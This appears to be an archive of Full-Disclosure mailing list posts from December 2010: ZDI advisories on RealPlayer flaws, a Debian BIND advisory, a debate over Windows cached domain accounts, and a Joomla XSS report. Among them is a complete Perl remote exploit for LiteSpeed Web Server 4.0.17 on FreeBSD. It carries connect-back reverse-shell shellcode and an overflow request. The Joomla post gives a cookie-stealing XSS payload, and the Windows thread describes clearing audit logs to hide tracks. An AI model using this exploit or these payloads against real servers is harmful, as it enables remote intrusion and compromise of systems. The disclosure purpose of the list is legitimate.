RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2009-06-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-269: RealNetworks RealPlayer AAC TIT2 Atom Integer Overflow Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-269: RealNetworks RealPlayer AAC TIT2 Atom Integer Overflow Remote Code 
Execution Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-269

December 10, 2010

-- CVE ID:
CVE-2010-4397

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 8279.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
systems with vulnerable installations of the RealNetworks RealPlayer.
User interaction is required to exploit this vulnerability in that the
target must visit a malicious page or open a malicious file.

The specific flaw exists in RealPlayer's pnen3260.dll module while
parsing the TIT2 atom within AAC files. The code within this module does
not account for a negative size during an allocation and later uses the
value as unsigned within a copy loop. Exploitation of this vulnerability
allows an attacker to execute arbitrary code under the context of the
user opening the AAC file.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2009-06-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-268: RealNetworks RealPlayer Media Properties Header Parsing Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-268: RealNetworks RealPlayer Media Properties Header Parsing Remote Code 
Execution Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-268

December 10, 2010

-- CVE ID:
CVE-2010-4384

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 6853.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists when parsing a RealMedia file containing a
malformed Media Properties Header (MDPR). The application explicitly
trusts an index in this data structure which is used to seek into an
array of objects. If an attacker can allocate controlled data at some
point after this array, an attacker can then get their fabricated object
to get called leading to code execution under the context of the current
user.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2009-02-24 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous
* Hossein Lotfi

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-267: RealNetworks RealPlayer Advanced Audio Coding Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-267: RealNetworks RealPlayer Advanced Audio Coding Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-267

December 10, 2010

-- CVE ID:
CVE-2010-4395

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10700.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks Real Player. User interaction
is required to exploit this vulnerability in that the target must visit
a malicious page or open a malicious file.

The specific flaw exists within the application's implementation of the
Advanced Audio Coding compression format. When decoding a conditional
component of a data block within an AAC frame the application will
decompress lossy audio sample data outside the bounds of a buffer. This
memory corruption can lead to code execution under the context of the
application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-11-09 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Damian Put

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-266: RealNetworks RealPlayer Multi-Rate Audio Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-266: RealNetworks RealPlayer Multi-Rate Audio Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-266

December 10, 2010

-- CVE ID:
CVE-2010-4375

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 8441.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists when parsing a RealMedia file containing a
malformed multi-rate audio stream. The application explicitly trusts two
16-bit values in this data structure which are then used to calculate
the size used for an allocation. When data is written to this allocated
buffer, an overflow will occur which can lead to code execution under
the context of the current user.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2009-04-15 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[Stefan Kanthak]

"StenoPlasma @ www.ExploitDevelopment.com" wrote:

Much ado about nothing!

> TITLE:
> Flaw in Microsoft Domain Account Caching Allows Local Workstation
> Admins to Temporarily Escalate Privileges and Login as Cached Domain
> Admin Accounts

There is NO privilege escalation. A local administrator is an admistrator
is an administrator...

> SUMMARY AND IMPACT:
> All versions of Microsoft Windows operating systems allow real-time
> modifications to the Active Directory cached accounts listing stored
> on all Active Directory domain workstations and servers. This allows
> domain users that have local administrator privileges on domain assets
> to modify their cached accounts to masquerade as other domain users
> that have logged in to those domain assets. This will allow local
> administrators to temporarily escalate their domain privileges on
> domain workstations or servers.

Wrong. The local administrator is already local administrator. There's
nothing the elevate any more.

> If the local administrator masquerades
> as an Active Directory Domain Admin account, the modified cached
> account is now free to modify system files and user account profiles
> using the identity of the Domain Admin's account.

There is no need to masquerade: the local administrator can perform all
these modifications, and if s/he wishes, hide the tracks: turn off
auditing before, clear audit/event logs afterwards, change the SID in
the ACEs of all objects touched (SubInACL.Exe comes handy), ...

Or: just change the "NoDefaultAdminOwner" setting. After that, all
"Administrators" masquerade as "Administrators". uh-oh.

> This includes
> creating scripts to run as the Domain Admin account the next time that
> they log in.

Ridiculous.
A local administrator can add any script/executable s/he wants to any
"autostart" (scheduled task, registry, logon script, userinit, shell,
...).
There's ABSOLUTELY no need to masquerade.

> All files created will not be linked to your domain
> account in file and folder access lists.

ACEs can always be edited by a local administrator, see SubInACL.Exe,
or TakeOwn.Exe.

> All security access lists
> will only show the Domain Admin's account once you log out of the
> modified cached account. This leads to a number of security issues
> that I will not attempt to identify in the article. One major issue is
> the lack of non-repudiation. Editing files and other actions will be
> completed as another user account. Event log entries for object access
> will only be created if administrators are auditing successful access
> to files (This will lead to enormous event log sizes).

A local administrator can turn audit/event logs off, clear or modify them.

Stefan

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Windows is 100% self-modifying assemblycode?(Interesting security theory)

[Paul Schmehl]

--On December 10, 2010 11:40:20 AM -0500 valdis.kletni...@vt.edu wrote:


On Fri, 10 Dec 2010 09:23:50 MST, John Horn said:

Yeah, must have been tongue in cheek, can't imagine anyone able to
understand what this list is about making such a Rube Goldberg claim as
stuff like a Windows self assembling kernel and libraries etc


Check the archives, there's been some truly dim bulbs who have wandered
through here. :)



Archives?  Just read the list every day.

--
Paul Schmehl (pa...@utdallas.edu)
Senior Information Security Analyst
The University of Texas at Dallas
http://www.utdallas.edu/ir/security/


p7s1kU5FSqbJL.p7s
Description: S/MIME cryptographic signature
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[jcoyle]

You are completely missing the point..
Local admins become Domain Admins.





From:   "Stefan Kanthak" 
To: ,

Cc: 
Date:   12/10/2010 01:08 PM
Subject:Re: Flaw in Microsoft Domain Account Caching Allows Local
Workstation Admins to Temporarily Escalate Privileges and Login
as Cached Domain Admin Accounts (2010-M$-002)



"StenoPlasma @ www.ExploitDevelopment.com" wrote:

Much ado about nothing!

> TITLE:
> Flaw in Microsoft Domain Account Caching Allows Local Workstation
> Admins to Temporarily Escalate Privileges and Login as Cached Domain
> Admin Accounts

There is NO privilege escalation. A local administrator is an admistrator
is an administrator...

> SUMMARY AND IMPACT:
> All versions of Microsoft Windows operating systems allow real-time
> modifications to the Active Directory cached accounts listing stored
> on all Active Directory domain workstations and servers. This allows
> domain users that have local administrator privileges on domain assets
> to modify their cached accounts to masquerade as other domain users
> that have logged in to those domain assets. This will allow local
> administrators to temporarily escalate their domain privileges on
> domain workstations or servers.

Wrong. The local administrator is already local administrator. There's
nothing the elevate any more.

> If the local administrator masquerades
> as an Active Directory Domain Admin account, the modified cached
> account is now free to modify system files and user account profiles
> using the identity of the Domain Admin's account.

There is no need to masquerade: the local administrator can perform all
these modifications, and if s/he wishes, hide the tracks: turn off
auditing before, clear audit/event logs afterwards, change the SID in
the ACEs of all objects touched (SubInACL.Exe comes handy), ...

Or: just change the "NoDefaultAdminOwner" setting. After that, all
"Administrators" masquerade as "Administrators". uh-oh.

> This includes
> creating scripts to run as the Domain Admin account the next time that
> they log in.

Ridiculous.
A local administrator can add any script/executable s/he wants to any
"autostart" (scheduled task, registry, logon script, userinit, shell,
...).
There's ABSOLUTELY no need to masquerade.

> All files created will not be linked to your domain
> account in file and folder access lists.

ACEs can always be edited by a local administrator, see SubInACL.Exe,
or TakeOwn.Exe.

> All security access lists
> will only show the Domain Admin's account once you log out of the
> modified cached account. This leads to a number of security issues
> that I will not attempt to identify in the article. One major issue is
> the lack of non-repudiation. Editing files and other actions will be
> completed as another user account. Event log entries for object access
> will only be created if administrators are auditing successful access
> to files (This will lead to enormous event log sizes).

A local administrator can turn audit/event logs off, clear or modify them.

Stefan




*
This email message and any attachments is for use only by the named 
addressee(s) and may contain confidential, privileged and/or proprietary 
information.  If you have received this message in error, please immediately 
notify the sender and delete and destroy the message and all copies.  All 
unauthorized direct or indirect use or disclosure of this message is strictly 
prohibited.  No right to confidentiality or privilege is waived or lost by any 
error in transmission. 
*

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Flaw in Microsoft Domain Account Caching Allows Local Workstation Admins to Temporarily Escalate Privileges and Login as Cached Domain Admin Accounts (2010-M$-002)

[George Carlson]

Your objections are mostly true in a normal sense.  However, it is not
true when Group Policy is taken into account.  Group Policies
differentiate between local and Domain administrators and so this
vulnerability is problematic for shops that differentiate between
desktop support and AD support.


George Carlson
Sr. Network Engineer
(804) 423-7430


-Original Message-
From: Stefan Kanthak [mailto:stefan.kant...@nexgo.de] 
Sent: Friday, December 10, 2010 11:30 AM
To: bugt...@securityfocus.com; full-disclosure@lists.grok.org.uk
Cc: stenopla...@exploitdevelopment.com
Subject: Re: Flaw in Microsoft Domain Account Caching Allows Local
Workstation Admins to Temporarily Escalate Privileges and Login as
Cached Domain Admin Accounts (2010-M$-002)

"StenoPlasma @ www.ExploitDevelopment.com" wrote:

Much ado about nothing!

> TITLE:
> Flaw in Microsoft Domain Account Caching Allows Local Workstation
> Admins to Temporarily Escalate Privileges and Login as Cached Domain
> Admin Accounts

There is NO privilege escalation. A local administrator is an
admistrator
is an administrator...

> SUMMARY AND IMPACT:
> All versions of Microsoft Windows operating systems allow real-time
> modifications to the Active Directory cached accounts listing stored
> on all Active Directory domain workstations and servers. This allows
> domain users that have local administrator privileges on domain assets
> to modify their cached accounts to masquerade as other domain users
> that have logged in to those domain assets. This will allow local
> administrators to temporarily escalate their domain privileges on
> domain workstations or servers.

Wrong. The local administrator is already local administrator. There's
nothing the elevate any more.

> If the local administrator masquerades
> as an Active Directory Domain Admin account, the modified cached
> account is now free to modify system files and user account profiles
> using the identity of the Domain Admin's account.

There is no need to masquerade: the local administrator can perform all
these modifications, and if s/he wishes, hide the tracks: turn off
auditing before, clear audit/event logs afterwards, change the SID in
the ACEs of all objects touched (SubInACL.Exe comes handy), ...

Or: just change the "NoDefaultAdminOwner" setting. After that, all
"Administrators" masquerade as "Administrators". uh-oh.

> This includes
> creating scripts to run as the Domain Admin account the next time that
> they log in.

Ridiculous.
A local administrator can add any script/executable s/he wants to any
"autostart" (scheduled task, registry, logon script, userinit, shell,
...).
There's ABSOLUTELY no need to masquerade.

> All files created will not be linked to your domain
> account in file and folder access lists.

ACEs can always be edited by a local administrator, see SubInACL.Exe,
or TakeOwn.Exe.

> All security access lists
> will only show the Domain Admin's account once you log out of the
> modified cached account. This leads to a number of security issues
> that I will not attempt to identify in the article. One major issue is
> the lack of non-repudiation. Editing files and other actions will be
> completed as another user account. Event log entries for object access
> will only be created if administrators are auditing successful access
> to files (This will lead to enormous event log sizes).

A local administrator can turn audit/event logs off, clear or modify
them.

Stefan

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [SECURITY] [DSA-2130-1] New BIND packages fix denial of service

[Florian Weimer]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-2130-1  secur...@debian.org
http://www.debian.org/security/   Florian Weimer
December 10, 2010 http://www.debian.org/security/faq
- 

Package: bind9
Vulnerability  : several
Problem type   : remote
Debian-specific: no
CVE Id(s)  : CVE-2010-3762 CVE-2010-3614 CVE-2010-3613

Several remote vulnerabilities have been discovered in BIND, an
implementation of the DNS protocol suite.  The Common Vulnerabilities
and Exposures project identifies the following problems:

CVE-2010-3762
When DNSSEC validation is enabled, BIND does not properly
handle certain bad signatures if multiple trust anchors exist
for a single zone, which allows remote attackers to cause a
denial of service (server crash) via a DNS query.

CVE-2010-3614
BIND does not properly determine the security status of an NS
RRset during a DNSKEY algorithm rollover, which may lead to
zone unavailability during rollovers.

CVE-2010-3613
BIND does not properly handle the combination of signed
negative responses and corresponding RRSIG records in the
cache, which allows remote attackers to cause a denial of
service (server crash) via a query for cached data.

In addition, this security update improves compatibility with
previously installed versions of the bind9 package.  As a result, it
is necessary to initiate the update with "apt-get dist-upgrade"
instead of "apt-get update".

For the stable distribution (lenny), these problems have been fixed in
version 1:9.6.ESV.R3+dfsg-0+lenny1.

For the upcoming stable distribution (squeeze) and the unstable
distribution (sid), these problems have been fixed in version
1:9.7.2.dfsg.P3-1.

We recommend that you upgrade your bind9 packages.

Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get dist-upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 5.0 alias lenny
- 

Source archives:

  
http://security.debian.org/pool/updates/main/b/bind9/bind9_9.6.ESV.R3+dfsg.orig.tar.gz
Size/MD5 checksum:  5306404 ec28c0b7064129b070dfd66cab1f35ea
  
http://security.debian.org/pool/updates/main/b/bind9/bind9_9.6.ESV.R3+dfsg-0+lenny1.diff.gz
Size/MD5 checksum:   586005 b2a1e7cb005638fef1407292cf5f8157
  
http://security.debian.org/pool/updates/main/b/bind9/bind9_9.6.ESV.R3+dfsg-0+lenny1.dsc
Size/MD5 checksum: 1797 eb8bb4c623d66a15e237c6bc59e3697a

Architecture independent packages:

  
http://security.debian.org/pool/updates/main/b/bind9/bind9-doc_9.6.ESV.R3+dfsg-0+lenny1_all.deb
Size/MD5 checksum:   283938 12739f36e1f811bccc66ac3a9d1eb432

alpha architecture (DEC Alpha)

  
http://security.debian.org/pool/updates/main/b/bind9/libisccfg50_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:52280 1eba7b3f656e5927fdc0869ca486c6c9
  
http://security.debian.org/pool/updates/main/b/bind9/libdns58_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:   681034 bcdf57464c3663da3aab1e61a9015ae3
  
http://security.debian.org/pool/updates/main/b/bind9/libisccc50_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:30728 4bd5408e582314ba7b5a8405ba3159e7
  
http://security.debian.org/pool/updates/main/b/bind9/bind9_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:   293012 52cfe30e7f7f34249757c540b2106ba4
  
http://security.debian.org/pool/updates/main/b/bind9/dnsutils_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:   155448 c48d973e5a2ff4cc0979af62c7573b34
  
http://security.debian.org/pool/updates/main/b/bind9/bind9-host_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:65212 04163c09735b66c26b8d93197cf295b5
  
http://security.debian.org/pool/updates/main/b/bind9/libbind-dev_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:  1742454 6d5b4b19dd0f0ce1cef39a8f43a07f47
  
http://security.debian.org/pool/updates/main/b/bind9/lwresd_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:   228138 0e2ba9d48c2c158985aaf26b656b6438
  
http://security.debian.org/pool/updates/main/b/bind9/libisc50_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:   176158 468845e2b97d2bfcd23e5286440217eb
  
http://security.debian.org/pool/updates/main/b/bind9/libbind9-50_9.6.ESV.R3+dfsg-0+lenny1_alpha.deb
Size/MD5 checksum:34204 0ca1831fc0176c6d4ebb32737b2f0ce6
  
http://security.debian.org/pool/updates/ma

[Full-disclosure] LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit for FreeBSD

[HI-TECH .]

# LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit for FreeBSD
# bug discovered & exploited by Kingcope
#
# Dec 2010
# Lame Xploit Tested with success on
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86
# FreeBSD 6.3-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.15 Standard x86
# can be used against the admin interface (port 7080), too
# Xploit only works on default lsphp binary not the compiled version
#
# this should be exploitable on linux too (on the compiled SAPI version)
# the shipped linux version of lsphp has stack cookies enabled,
# which could be brute forced if there wasn't a null put at the end of
# the exploit buffer. The compiled SAPI version is exploitable, but then
# the offsets differ from box to box, so this time FreeBSD targets only.
# thus on linux this is very tricky to exploit.
# this is a proof of concept, don't try this on real boxes
# see lsapilib.c line 1240
(http://litespeedtech.com/packages/lsapi/php-litespeed-5.4.tgz)

use IO::Socket;

$|=1;

#freebsd reverse shell port 443
#setup a netcat on this port ^^
$bsdcbsc =
# setreuid, no root here
"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
# connect back :>
"\x31\xc0\x31\xdb\x53\xb3\x06\x53".
"\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x31\xd2\x52\x52\x68".
"\x41\x41\x41\x41\x66\x68\x01\xbb".
"\xb7\x02\x66\x53\x89\xe1\xb2\x10".
"\x52\x51\x50\x52\x89\xc2\x31\xc0".
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
"\x74\x06\x31\xc0\xb0\x01\xcd\x80".
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x31\xdb\x43\x53\x52".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
"\x53\x52\x50\xb0\x5a\xcd\x80\x31".
"\xc0\x50\x68\x2f\x2f\x73\x68\x68".
"\x2f\x62\x69\x6e\x89\xe3\x50\x54".
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
"\xb0\x01\xcd\x80";

sub usage() {
print "written by kingcope\n";
print "usage:\n".
  "litespeed-remote.pl  
 \n\n".
  "example:\n".
  "perl litespeed-remote.pl 192.168.2.3 8088
192.168.2.2 phpinfo.php\n\n";

exit;
}

if ($#ARGV ne 3) { usage; }

$target = $ARGV[0];
$port = $ARGV[1];
$cbip = $ARGV[2];
$file = $ARGV[3];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));

substr($bsdcbsc, 37, 4, $a1 . $a2 . $a3 . $a4);

#my $sock = IO::Socket::INET->new(PeerAddr => $target,
# PeerPort => 8088,
# Proto=> 'tcp');
#$a = "A" x 500;
#print $sock "POST /phpinfo.php HTTP/1.1\r\nHost: 192.168.2.5\r\n\r\n";

#$x = ;

#$ret = pack("V", 0x28469478); # FreeBSD 7.3-RELEASE
#$ret = pack("V", 0x82703c0); # FreeBSD 6.3-RELEASE
$ret = pack("V", 0x080F40CD); # JMP EDX lsphp

my $sock = IO::Socket::INET->new(PeerAddr => $target,
  PeerPort => $port,
  Proto=> 'tcp');


$a = "A" x 263 . "" x 6 . $ret . "C" x 500;
$sc = "\x90" x 3000 . $bsdcbsc;

print $sock "POST /\x90\x90\x90\x90\x90\x90\xeb\x50/../$file?
HTTP/1.1\r\nHost: $target\r\n: $sc\r\n$a KINGCOPEH4XXU:\r\n\r\n";

while (<$sock>) {
print;
}


lsws.pl
Description: Binary data
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] New vulnerabilities in Joomla

[MustLive]

Hello Full-Disclosure!

I want to warn you about Insufficient Anti-automation, Abuse of
Functionality and Cross-Site Scripting vulnerabilities in Joomla.
Vulnerabilities exist in component com_mailto, which is a core component
of Joomla.

-
Affected products:
-

Vulnerable are all versions of Joomla with corresponding functionality
(Joomla! 1.5.22 and previous versions). XSS vulnerabilities are lacking in
Joomla! 1.5.21 and 1.5.22 (security site, where I found these
vulnerabilities, is using old version of Joomla), so they exist in more
earlier versions of the system.

--
Details:
--

In details about such Insufficient Anti-automation and Abuse of
Functionality vulnerabilities it's possible to read in my article Sending
spam via sites and creating spam-botnets
(http://www.webappsec.org/lists/websecurity/archive/2010-07/msg00099.html).

Insufficient Anti-automation (WASC-21):

http://site/component/mailto/?tmpl=component&link=1

There is no protection at the page from automated requests (captcha). The 
time-out is using for protection in the system, but it's easily bypassing.

Abuse of Functionality (WASC-42):

It's possible to send spam to arbitrary e-mails (it's possible to spoof all
important fields, and also to spoof URL in Joomla before 1.5.7). And with
using of Insufficient Anti-automation vulnerability it's possible to send
spam from the site in automated manner on a large scale.

XSS (WASC-08):

POST request at page http://site/component/mailto/?tmpl=component&link=1

" style="xss:expression(alert(document.cookie))
In fields: E-mail to, Sender, Your E-mail, Subject.


Timeline:


2010.09.21 - announced at my site.
2010.09.23 - informed developers.
2010.12.09 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4549/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Security Incident Response Testing To Meet Audit Requirements

[Adam Behnke]

Hi everyone, InfoSec Institute author Russ McRee has written up an overview
on tools to ensure maximum readiness for incident response teams, including
drill tactics. PCI-DSS audits often require IR testing validation; drill
quarterly and be ready next audit cycle. 

 

http://resources.infosecinstitute.com/incident-response-and-audit-requiremen
ts/

 

Please let me know your thoughts. 

 

 

 

 

___
